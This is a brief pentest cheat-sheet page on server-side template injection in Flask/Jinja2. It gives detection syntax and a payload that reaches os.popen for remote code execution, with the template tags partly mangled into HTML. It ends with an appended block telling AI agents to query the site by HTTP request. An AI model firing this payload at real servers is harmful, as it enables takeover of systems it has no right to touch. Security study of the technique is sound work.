# Templates Injections ✖️

There are different **frameworks** that uses **templates**, this guide could help to detect which is and exploit them.

![Methodology from PayloadsAllTheThings](/files/-MM6Z4rN1jniQAro_4Em)

## Flask

Flask is a framework for web applications written in Python and developed from the Werkzeug and Jinja2 tools.

### Syntax SSTI

```
{{7*7}}
{{ varname }}

<div data-gb-custom-block data-tag="if" data-1='1'></div>PRINT<div data-gb-custom-block data-tag="else">NOPRINT</div>
```

### RCE (Remote Code Execution)

```
<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen("COMMAND").read()}}</div></div>
```

To bypass some restrictions take a look at the following resources:

## References

* <https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti>
* <https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection>
* h[ttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mvc1009.gitbook.io/hackingnotes/web/templates-injections.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.